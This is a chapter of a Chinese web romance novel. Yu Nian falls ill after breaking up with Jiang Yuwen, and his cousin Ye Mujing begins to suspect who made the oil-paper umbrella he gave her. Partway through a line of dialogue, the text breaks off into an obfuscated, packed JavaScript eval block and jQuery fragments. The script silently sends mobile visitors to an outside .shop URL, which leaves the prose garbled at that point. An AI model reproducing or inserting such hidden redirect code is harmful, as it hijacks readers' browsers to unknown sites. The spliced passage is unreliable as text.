35. 35
    江聿闻如承诺那般放过了虞家。

    虞念放下手机,回想起刚刚电话里许经序所说,江聿闻不再追究殷文礼和她的事。

    人,店铺,从此尘归尘,土归土。

    一大早接到这个电话,她本该高兴的,积压在心底的秘密总算得以见光,她再也不用担惊受怕。

    可事实真如此吗?

    虞念说不出来。

    那天过后的一星期,她总是心不在焉。照看店铺无所事事时,脑海里总会突然浮现出以前和江聿闻在一起的画面。

    末了,又总是那句——

    “以后,别再出现在我面前了。”

    像是魔咒,阴魂不散。

    望着玻璃门外人来人往,可江聿闻一次都没再出现过。

    她有些看不懂自己的内心。

    是欺骗后的内疚吗?还是对他仍抱有期待?

    心头像被千万根细线缠绕,这段关系她越理越乱。

    在屡次出现失神的状况后,虞念不得已雇了一位新员工。

    小姑娘叫许芙,还在读大二,人很聪明,店里的事与她讲一两遍便能快速上手。

    见她逐渐熟悉工作内容,虞念也放下心来。

    暂停油纸伞业务,店里的其他事情便交由她照看。

    虞念给自己放了个假,打算调整调整状态,可哪想待在家的第一天,她就莫名其妙病倒了。

    意识模糊之际,她给黎纯萱打了个电话。

    再次睁眼,人躺在医院。入目,是俞叙南。

    对方听见病床上的动静,急忙将手里削了一半的水果放下,转而走到床尾帮她调整位置。

    “俞叙南。”一开口,嗓子哑得像抹了沙子,虞念不适地咳嗽两声,问他,“你怎么没去上班?”

    “下班了。”俞叙南表情看起来不太好,“这样可以吗?”

    虞念仰了仰脖子适应角度,随后点点头。

    俞叙南见状起身,默默走到床侧帮她掖了掖被子。

    “对了,小萱呢?”她在病房内扫视一圈,并没有发现黎纯萱的身影。

    “酒吧有急事,她让我先过来。”

    “白天也有事?”

    俞叙南见她眸子中全是不解,轻叹口气,“虞念,你睡了很久,现在已经晚上了。”

    晚上!

    可她打电话的时候明明才早上九点多啊。

    “我怎么了?”

    “黎纯萱说到你家的时候你已经烧得不省人事了。”俞叙南尽量压低自己的火气,“急性胃炎引发高烧,你最近是不是没有好好吃饭?”

    虞念想起这几天的魂不守舍,又想到那晚猛灌的那瓶白兰地,生病,好像也说得过去。

    见她委屈地躺在那儿,俞叙南又怕自己的语气吓到她。

    没辙,他将那半边苹果递给她,“算了,你别多想。先吃点水果。”

    虞念听话地拿起苹果啃起来,吃完,又静静地躺下看着吊瓶。

    俞叙南不想她伤神便没再与她说话,默默照顾着她,忙前忙后让护士换了两次吊水。

    后半夜,黎纯萱得空回来。

    俞叙南第二天还要上班,只得先回去休息。

    虞念迷迷糊糊又睡了会儿,醒来时黎纯萱正闭目靠坐在椅子上。

    她没出声,只是下一秒,黎纯萱像有心电感应般睁开了眼睛。

    “醒了?”她看向病床上的人,“喝点粥吧,还热着。”

    “好。”

    黎纯萱离开座椅,走到桌边拿起保温盒。盖子一打开,扑鼻一阵清香,确实还冒着热气。

    虞念二话不说接过吃起来,黎纯萱坐在床沿默不作声盯着她。

    不多时,保温食盒里的粥便见了底。

    “好多了吧。”黎纯萱收拾好东西,见她脸上气色好转才敢开口,“今天可吓死我了。”

    “我过去时你都没了动静,脸烫的跟烙铁似的。”

    “有那么夸张吗。”

    “还笑?”黎纯萱见她没心没肺的样子,气不打一处来,“是不是那天喝酒喝的?”

    “有点原因吧。”

    “好在你和那江聿闻分开了,喜怒无常的主,分开了好。”

    自打跟着江聿闻起,虞念铁打的身体生了多少次病啊,不是这里流血就是那里受伤的,她早就看不过去了。

    那位高高在上的主,喜欢时宠的没边,一分开就翻脸不认人了。

    虽说虞念骗他确实不对,可他也不想想,事情起因究竟为谁。现在倒好,因果一倒,成了那受害者。

    虞念自是不知道黎纯萱心里在想些什么,只是她忿忿不平的表情她大概也能猜到些许。

    她不想她继续担心,安慰道:“好了,都过去了,这样也好,我也不用再担心谎言哪天被拆除了。”

    “你最好心里真是这么想的。”黎纯萱哪能不清楚她,“我问你,之前让你店里雇个人你迟迟不同意,现在为什么又答应了?”

    “你都……看见了?”

    “看见了。我前几天刚好路过那里。”

    “那怎么不进来?”

    “我冲你招手了,但你压根没看见。”她装作生气瞪了她一眼,“也不知道你在想什么。”

    “我也不知道。”虞念实话实说,“我最近总不在状态。”

    “老是想起他,又想到自己骗了他,心里很不是滋味。”

    “你啊,道德感那么强做什么。”黎纯萱不满。

    “我这人虽说平时挺记仇的,但这一次确实过分了些。”虞念认真向她解释,“这几天我总在想,当初怎么会这么冲动,也许是有点江聿闻自身的因素,若换个人,我应该不会采取这种手段。”

    这场病也让她彻底想清楚了,无论过往如何,就像她那天说的——一笔勾销。

    犯不着再纠结,他们不会再有任何关系了。

    她看着黎纯萱,郑重其事,“总之,都过去了。”

    虞念悉心调养了几日,大病初愈,整理心情重新上班。

    生病的这几天,许芙将店铺打理得很好,不仅如此,还和小鱼成了朋友。

    每天守着店铺,和许芙、和小鱼,日子过得还算悠闲。

    到后来,她的生活里再也找不出半点江聿闻的踪迹。

    -

    偌大的庄格半岛就那样荒废着,张妈时不时叹息,询问江聿闻何时再搬回去,可都没有得到他的回应。

    老宅因为他们搬回来后说不出的热闹,可她总觉得心里不是滋味儿。

    小七每天板着个脸,回家后不是待在书房就是坐在沙发上干盯着院子里的那棵国槐。

    也不知道有什么好看的。

    日子久了,乏味也越来越重,全家人的喜气随着江聿闻渐渐消沉下去。

    就在张妈忧心忡忡间,叶慕凝的到来打破了这种死寂。

    头一天风风火火的抱着条小狗幼崽,进门就招呼佣人把狗窝搭好。

    说那狗叫什么哈士奇。

    张妈也不懂这些,只知道江聿闻向来不喜欢宠物,等他回家叶慕凝可得遭殃。

    但叶慕凝这没心肝的,还不等她劝说,牵着狗便又出门去了。

    江聿闻下班回家时叶慕凝还没回来,因此也不知道发生了什么。

    十一点多别墅里静悄悄的,突然传来几声狗吠。

    江聿闻眉心一蹙,从书房里出去。

    站在三楼走廊,就见叶慕凝正蹑手蹑脚溜进来。

    “你怎么跑这来了?”

    低沉的嗓音在别墅上空回荡,本就做贼心虚的叶慕凝被生生吓了一跳,连带着怀里的狗也受惊跳了下去。

    “哥,你还没睡。”

    “又跑哪野去了?”江聿闻视线一转,忽然看见那狗开始往楼梯上爬,“带着你那狗出去。”

    “小姨同意了,你管我。”

    “叶慕凝。”

    每当他喊她全名的时候,叶慕凝就知道,这人又到发怒的边缘了。

    寄人篱下,算了,她就勉为其难低个头吧。

    “哥。”叶慕凝抬头扬起一抹讨好的笑,“放

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174165|147199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过我吧,我保证安安分分的。”

    “这不我爸妈知道了我差点被潜规则的事嘛,非不让我继续演戏了,我就来这避避风头,绝对不会影响小姨和小姨夫生活的。”

    话音刚落,小哈士奇就像听懂了般,匍匐的腿瞬间收回,老老实实站在原地。

    “你看,我俩都很乖。”叶慕凝惊喜地指指小狗,“哥,你快继续忙你的事去吧。”

    江聿闻没心情和她折腾,索性回了房间。

    -

    第二天上午,叶慕凝睡到饭点才堪堪起床。

    一出门,意外瞥见廊道的黑色置物筐里摆了个崭新物件。

    显眼得很。

    奇怪,昨天这里面有东西吗?难道是太晚了她没注意到?

    她困惑地走过去拿起里面的东西打量了一圈,正准备打开看看,楼下忽地传来一声轻咳。

    从走廊往下看,正巧与江聿闻的视线不期对上。

    好家伙,竟然没去上班。

    叶慕凝正准备假笑一下避开,却不料江聿闻先开了口:“还不下来。”

    “诶,哥。”她迅速跑过去拿来筐里的物件,“家里怎么买了这种伞啊?”

    江聿闻蹙了蹙眉,视线落在她手上。

    “哥?”

    “生日礼物,给你的。”

    “我的?”叶慕凝惊讶,下一秒便直接打开那伞端详起来,“我就说嘛,你今年怎么没给我送生日礼物,我还以为你忘了。”

    “不过,这次怎么这么有心,你以前不都是给我批发一大堆首饰吗?”

    “哪套首饰你见第二个人戴过?”

    叶慕凝也就是调侃一句,怕他真生气,嬉皮笑脸糊弄了一下。

    “手工油纸伞,花色也特别。”叶慕凝好好收起,“哥,我挺喜欢的,就是下次送礼物记得要在生日当天送。”

    江聿闻不耐睨了她一眼。

    人、东西,一样碍眼。

    “小凝,吃饭啦。”

    “来啦。”

    叶慕凝瞥了眼处于发怒临界点的江聿闻,内心感谢着张妈这声催促。

    也不知道他是不是吃了枪药,一点玩笑都开不起。

    叶慕凝不敢再惹他,整顿饭吃得安安静静。

    饭后又立马带着小狗去了院子,只离房子里那人越远越好。

    -

    午休后,别墅里总算没了江聿闻的身影。

    叶慕凝整个人重获新生,哼着小调下楼,大咧咧坐到了正在品茶的叶郁旁边。

    “小姨,我哥回去了?”

    “回哪?”叶郁看她一眼。

    “庄格啊,他不都住那边的吗?”

    “不住了。”叶郁想到这就高兴,“搬回来有段时间了,没瞧见张妈都搬回来了。”

    “啊?”叶慕凝“唰”地站起来,“这么说我得天天见到他了?”

    “不对啊,他那边不是还有人吗?”她难以置信看着叶郁,“分了?”

    “分了。”叶郁笑笑。

    “天爷!”叶慕凝的心情完全和叶郁相反,一想到躲她爸妈的这段时间里她每天都要见到江聿闻那张臭脸,整个人瞬间蔫巴了。

    “该替你哥高兴才对,分了好,之前为她做了多少出格的事。”叶郁不由想起江少渊之前的提醒,“还是得找个能帮得上你哥的。”

    “小姨,都什么年代了。”叶慕凝轻啧一声,却不免对这未知的“娇”起了好奇,“不过,您见过那女生吗?”

    “见过一次。”

    “怎么样?”

    “漂亮倒是漂亮。”她顿了顿,“只是听说家境一般。”

    “做什么的?”

    “说是……开店的?好像什么做油纸伞的吧。”

    叶慕凝像是听到了什么天大的秘密,油纸伞?

    油纸伞!

    她抬头看向二楼,若有所思,“您知道她叫什么吗?”

    “姓虞,多余的我也不记得了。”叶郁疑惑看她一眼,“小孩子打听这些做什么,可别在你哥面前提起。”